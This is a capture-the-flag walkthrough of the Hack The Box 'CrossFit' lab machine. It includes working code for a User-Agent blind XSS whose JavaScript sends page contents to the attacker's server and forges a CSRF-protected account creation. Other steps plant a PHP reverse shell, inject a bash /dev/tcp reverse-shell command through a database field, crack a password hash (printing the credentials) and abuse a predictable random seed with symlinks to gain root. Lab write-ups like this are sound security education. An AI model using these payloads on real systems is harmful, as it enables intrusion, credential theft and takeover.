> For the complete documentation index, see [llms.txt](https://4st1nus.gitbook.io/hackthebox/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://4st1nus.gitbook.io/hackthebox/htb/hack-the-box-crossfit-walkthrough-without-metasploit.md).

# Hack The Box - CrossFit Walkthrough without Metasploit

![Crossfit](/files/-MW3NwDuJVLVzSNuKmYl)

## Enumeration

Let's start by running nmapAutomator on our target:

```
nmapAutomator 10.10.10.208 All
```

The Basic Nmap scan returns the following:

![Nmap Basic Scan](/files/-MW3c3Rgt3TRbHmRG2TK)

### Ports

We have the following ports open

#### 21

FTP port, the information we got from this is interesting as we can see on commonName **\*.crossfit.htb** host, there is a way of grabbing more information about that ssl-cert, **openssl**:

```
openssl s_client -connect 10.10.10.208:21 -starttls ftp -servername 10.10.10.208
```

![Openssl on FTP](/files/-MW3gv7QuFtsd-VAVxvX)

We were able to find **gym-club.crossfit.htb** hostname thanks to the *emailAddress*

#### 22

This is the SSH (Secure Shell) port, we might be able to use it later to log in if we find any valid username and its password or its rsa key.

#### 80

We have a http port open, on port 80 running **Apache2**&#x20;

![Apache 2 on http](/files/-MW3mn0gqxkckW0Ijmqj)

### Adding Hostnames

We have discovered **gym-club.crossfit.htb** so let's add that to our hostnames

```
sudo nano /etc/hosts
```

![new etc hosts entry](/files/-MW3orRZgikuNnmEbRi9)

### Gobuster

Now with the new hostname we can see there is a Crossfit Gym web page

![Crossfit Web](/files/-MW3pJ_Y76TYeNyDcvzy)

Meanwhile we are looking through the web lets run a gobuster scan:

```
gobuster dir -u http://gym-club.crossfit.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 40 -e 
```

Tried different wordlists without any more luck than this:

![Gobuster Scan](/files/-MW3ylv9_KGuLutqnxZs)

But we did not find much out of the scan this time.

### Webpage

Back to manually search the page we tried to look for some **LFI, RFI, CSRF, XSS...**&#x20;

![Crossfit Blog Form](/files/-MW4-LSYmRbQjD3Bl9g2)

We have a form in the blog-single.php page on where we can leave comments, let's try to leave one:

![XSS attempt](/files/-MW41dAnTT-jMlb-2Y_X)

They didn't seem to like our comment... But the important part is that they are generating a report with our IP and browser information, that means they are getting that info from our **User-Agent**, lets fire up **Burp**

#### **Burp**

We intercept the web request to post comment with Burp and change the **User-Agent** to try and grab something from our host, for that we have to first prepare a http server:

```
python -m SimpleHTTPServer 80
```

If we want to use port 80, we can omit it if we want since it's the one that will be used by default.

We send the intercepted post request to the **Repeater** and there we change the User-Agent

```
User-Agent: <script src="http://IP/testing"></script>
```

We are using a Post Request which will also trigger the report generation for the **XSS** detection

![Burp Repeater](/files/-MW48hA1500Y9UtYuT5E)

As we can see it tries to grab something from our host, searching on google we could find some interesting information about **CSRF (Cross Site Request Forgery)**

{% embed url="<https://owasp.org/www-community/attacks/csrf>" %}
OWASP CSRF
{% endembed %}

So, with this information we are going to try and execute some JavaScript payload on the victim's end, some information about how to create our payload can be found here:

{% embed url="<https://mincong.io/2018/06/19/sending-http-request-from-browser/>" %}

{% embed url="<https://www.quirksmode.org/js/xmlhttp.html>" %}

### XSS - Foothold

```javascript
request = new XMLHttpRequest;
request.onreadystatechange = function() {
   if (request.readyState == 4) {
      req = new XMLHttpRequest;
         req.open('GET', 'http://<Our-IP>/' + btoa(this.responseText),false);
	 req.send();
   }
}
request.open('GET','http://gym-club.crossfit.htb',false);
request.send();
```

Basically, with this script what we do is perform a request on a web page **FROM** the victims end and send the response to our http server.

The first problem we encounter is that we do not know all the vhosts of the victim and with the one we discovered **gym-club.crossfit.htb** won't be enough, personally since we did found an ftp server we couldn't access I tried **ftp.crossfit.htb** and hit a jackpot with it, but thanks to [**JustAhmed** ](https://www.hackthebox.eu/home/users/profile/206208)we have a clever way of finding the valid vhosts.

We start a SimpleHTTPServer and run this script:

```javascript
import requests
from time import sleep

x = open("/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt").readlines()
subs = [sub.rstrip() for sub in x]

payload = '''var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
        if (this.readyState == 4) {
            var xhttp2 = new XMLHttpRequest();
        xhttp2.open("GET", "http://<Our-Ip>/" + "---> %s <---" + btoa(this.responseText), false);
        xhttp2.send();
       }
    };
xhttp.open("GET", "http://%s.crossfit.htb", false);
xhttp.send();'''

headers = {"User-Agent": "<script src=http://<Our-Ip>/jA.js></script>"}
triggerXSS = {'name': 'a', 'email': 'a@a.com', 'phone': 'a', 'message': '<script>alert(1)</script>', 'submit': 'submit'}



for i in subs:
    jsFile = open('jA.js', 'w')
    jsFile.write( payload % (i, i) )
    jsFile.close()
    x = requests.post("http://gym-club.crossfit.htb/blog-single.php", data = triggerXSS, headers=headers)
    sleep(3)

```

This script is basically the one we saw before but changing the VHOST requested on each petition so with the response we can discover which one is a valid one. With this we discovered **ftp.crossfit.htb**

So, we can modify our script and point to that vhost:

```javascript
request = new XMLHttpRequest;
request.onreadystatechange = function() {
   if (request.readyState == 4) {
      req = new XMLHttpRequest;
         req.open('GET', 'http://<Our-IP>/' + btoa(this.responseText),false);
	 req.send();
   }
}
request.open('GET','http://ftp.crossfit.htb',false);
request.send();
```

With this new payload we will get the following response:

![XSS Response](/files/-MW5BqejF3XtqX72Eb2Z)

It seems that ftp.crossfit.htb allows us to create an account so let's tweak our payload a bit more and request the /accounts/create page:

```javascript
request = new XMLHttpRequest;
request.onreadystatechange = function() {
	if (request.readyState == 4) {
		req = new XMLHttpRequest;
		req.open('GET', 'http://Your-Ip/' + btoa(this.responseText),false);
		req.send();
	}
}
request.open('GET','http://ftp.crossfit.htb/accounts/create',false);
request.send();
```

![Accounts Create FTP Vhost Response](/files/-MW5QPVOChSVUqNYQXxH)

As we can see this new page has a **form** to create a new account and a **token**, so let's modify our payload once more to create a new account:

```javascript
request = new XMLHttpRequest;
request.withCredentials = true;
request.onreadystatechange = function() {
        if (request.readyState == 4) {
                req = new XMLHttpRequest;
                req.open('GET', 'http://<Your-Ip>/' + btoa(this.responseText),false);
                req.send();
        }
}
request.open('GET','http://ftp.crossfit.htb/accounts/create',false);
request.send();

var test = request.responseText;
var test = test.slice(test.indexOf("token"));
var token = test.slice(test.indexOf('=')+2,test.indexOf(">")-1);
var params = '_token='+token+'&username=<USERNAME>&pass=<PASSWORD>&submit=submit';

request.open('POST', 'http://ftp.crossfit.htb/accounts',false);
request.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
request.send(params);
```

Since the token can change from one request to another we first request the accounts create page and then grab that token and use it to create a new account with our username and password.

![Account Created](/files/-MW5UAFzZgYisjOIGTdx)

### FTP

We have created an account successfully with our username and password, let's try out the **FTP** port now with our credentials.

![Failing to log in](/files/-MW5UneLSVmWiM1Tfbz9)

We tried to log in with our username and it seems not to work, it says that we need encryption, one way to connect will be using FileZilla so we can see and accept the certificate upon connecting.

![FTP Certificate](/files/-MW5V5iZkQ_IQWfjqjbF)

Once we log in we look for files to read or places to write to:

![Available Folder](/files/-MW5VssEwpgEovEKQoGs)

It seems that we can only write inside development-test, so let's place there our reverse.php

![Reverse shell placed](/files/-MW5WPjDPVCM-IX3vx66)

We have to modify the file, if we look closely we need to be able to execute it if we want a reverse shell:

![Modify file permissions](/files/-MW5ZDx4El8cPMWMDP8m)

We can infer that development-test is another VHOST so let's modify our payload in order to make a request from crossfit box to that reverse.php and gain our entrance to the box, for that we will need to have a netcat listener ready, the reverse.php is the reverse shell from pentestmonkeys with our ip and port 443.

{% embed url="<https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php>" %}

![Foothold](/files/-MW5YeIV8e1vlzv3CBLT)

As www-data we can't do much except create a folder under /var/www/development-test.

We create a folder there and get linpeas to the box and execute it getting this interesting information:

![Hank Hash](/files/-MW5ZqykGE2Z-AEf9cD5)

With that hash we can attempt to crack it, first let's identify the hash with hashcat, since hashcat help shows all the hash modes...

```javascript
hashcat -h | grep '$6'
```

![Hash type](/files/-MW5_CimIXd227CUgJ9m)

Now we can attempt to crack it:

```javascript
hashcat -m 1800 -a 0 <fileWithHash> <wordlist>
```

![Hank password](/files/-MW5_GrTMtFsulaz8G6j)

## **Privilege Escalation**

### User Hank

**Hank // powerpuffgirls**

We can attempt to log in through SSH with our new user//credentials:

![SSH in as Hanks](/files/-MW5_oyk2cyxhbRtuZs5)

Let's run again linpeas now in our Hank context:

![CRON File being executed](/files/-MW5dphfy8mKZDoqti2l)

If we try to read it:

![send\_updates.php file](/files/-MW5dxlA_FGRzwV-5-Dy)

So, this file is connecting to the database and if there is any file on the msg directory then it connects to the database and make a select on the mails from users. We also found the database credentials:

![database credentials](/files/-MW5xJ46WLY0oLUseGDl)

**crossfit // oeLoo\~y2baeni**

We cannot access that directory or do anything with it with our current user, there's another ftp user:

![ftpadm user](/files/-MW5p1djFCSfenxo5_lP)

on /var/lib/pam we found ftpadm credentials, a bit of information about PAM

{% embed url="<https://tldp.org/HOWTO/User-Authentication-HOWTO/x115.html>" %}
Pluggable Authentication Modules
{% endembed %}

![ftpadm credentials](/files/-MW5tV3ctVDsmvqXH79S)

We cannot su to ftpadm but we can use FileZilla to connect as ftpadm:

![FTP login as ftpadm](/files/-MW5tkhAnZ9P1TGXguCt)

And we can see the messages folder! We can just drop there any file for the previous cron job to execute the select query, but first, let's introduce our payload in the database.

![login to the database](/files/-MW5xRLeFyYxtPsIeorH)

### User Isaac

Insert the payload in the database:

```javascript
insert into users (id,email) values (1, "-E $(bash -c 'bash -i >& /dev/tcp/10.10.14.7/443 0>&1')");
```

We use the -E since it's an option that does not exists and then it will execute our next command, which happens to be a reverse shell.

![Inserting payload into database](/files/-MW62lqXht4-t3u6NuJe)

Prepare a netcat listener on port 443

```javascript
nc -nvlp 443
```

Now we can connect to FileZilla as ftpadm and drop under messages folder any file, for example our last used reverse.php (the file you put there won't matter much as the important thing is the payload on the database)

![putting a random file under messages folder](/files/-MW600ZSrxztntmaJJcC)

And we are in as Isaac:

![Isaac login](/files/-MW63Mne-Jc9BCtYU01n)

We are going to run pspy and also we want to look for anything interesting so in order to be able to log as isaac properly and on multiple shells we create a .ssh folder and inside we place our authorized\_keys generated with:

```javascript
ssh-keygen -f sshForIsaac
```

![ssh as Isaac](/files/-MW64eHJIIEZSCudVRpO)

Get pspy on the box and run it with -pf -i \<userID>

```javascript
wget <Your-Ip>/pspy64
chmod +x pspy64
./pspy64 -pf -i 1000
```

We found dbmsg running with pspy:

![dbmsg binary](/files/-MW68cAscX9NrcL3kTuo)

We transfer that binary to our box and analyse it with Ghidra (Thanks to [**Foxtrot** ](https://www.hackthebox.eu/home/users/profile/22087)for helping me out setting up Ghidra ;) )

{% embed url="<https://ghidra-sre.org/>" %}

We install it and open up Ghidra:

![New Project](/files/-MW6pxaDN2PoxXzyHTBW)

![Non-Shared Project](/files/-MW6q46jH19KYOjrry3E)

![Project location](/files/-MW6qNDNMeOTKlOSasvw)

Now we click on CodeBrowser

![Code Browser](/files/-MW6qYOOeb0Xk-UsEAL-)

Import File

![File, Import File..](/files/-MW6qfvhd7DGTBH36MHg)

Select the binary we have transferred to our box.

![Import Binary](/files/-MW6qpTfIFEwjBKRpMWn)

Analyse the binary

![Analyse Binary](/files/-MW6qzPdHLTEKaYjV_bu)

We can leave the options ticket by default and click on Analyse.

![Analyse binary](/files/-MW6r5vo7U5CXLFyBJ8-)

Now we wait a bit for Ghidra to analyse it and then on the left side under **Symbol Tree** we can find the **Functions** and there we can see **main** unction&#x20;

![Symbol Tree](/files/-MW6A8Lis_oCka2bsFkj)

![Main Function](/files/-MW6oafhkttoN1o0YqC8)

The main function says that this program if its running, it has to run as root, so if we can abuse it, we will be able to escalate to root. Let's see the function **process\_data().** We can rename the variables of the main function, pressing the letter "l" while selecting the var, it will make it more human readable:

![Main function analysed](/files/-MW6KfykpvOolb8r5rUg)

Main function does the following:

1. Connects to mysql db and retrieve the msgs.
2. Md5 the stringName
3. make the path to be like /var/local/md5StringName(RandomNumber+ID)
4. Attempt to open the file or create it if it doesn't exist and write there the contents of rows 1,3,2 on it.
5. Gets the old zip, open it in source mode add the new file and save it

![Srand seed](/files/-MW6pGaUt7UnyEzKdJS-)

As we can see on the image this is the rand() function which generates a random number with the seed **srand**(**time**(**NULL));** This makes use of the computer's internal clock to control the choice of the seed, but  **Remember, if the seed number remains the same, the sequence of numbers will be repeated for each run of the program.** We will use that in our advantage to exploit this program.

### Privilege Escalation to Root

In order to escalate to root we will need to create the file that the programs want to write on, so **we** are the owners of the file, and, **let the program** write on that file **a payload we will insert on the db**.

First we will write a program to generate the random numbers:

```c
#include <stdio.h>
#include <stdlib.h>
#include <time.h>

void main(){

   srand(time(NULL));
   printf("%i",rand());

}
```

We compile it and transfer it to the box:

```c
gcc randomNumber.c -o random
```

We place it under the directory that the program is going to be creating the files in so our command will be shorter

![Random Numbers generator](/files/-MW6uE5mvIJq_gZcNTS0)

We have to create a ssh-key that fits on the database column:

```c
ssh-keygen -t ed25519 -f rootssh 
```

Start running a while loop creating files with the same syntax as the program is:

```c
while true; do ln -s /root/.ssh/authorized_keys /var/local/$(echo -n $(./random)<ID> | md5sum | cut -d " " -f 1) 2>/dev/null; done;
```

We connect again to the mysql crossfit database and under messages we insert:

```c
insert into messages (id,name,email,message) values(1,'ssh-ed25519','whatever','YourSSHPubString');
```

![](/files/-MW6y71BZzBZGT-Qy5TM)

## Pwnd

If everything worked we would be able to ssh in as root with our key

![Root](/files/-MW6y_LcbekT-SCQbWTD)
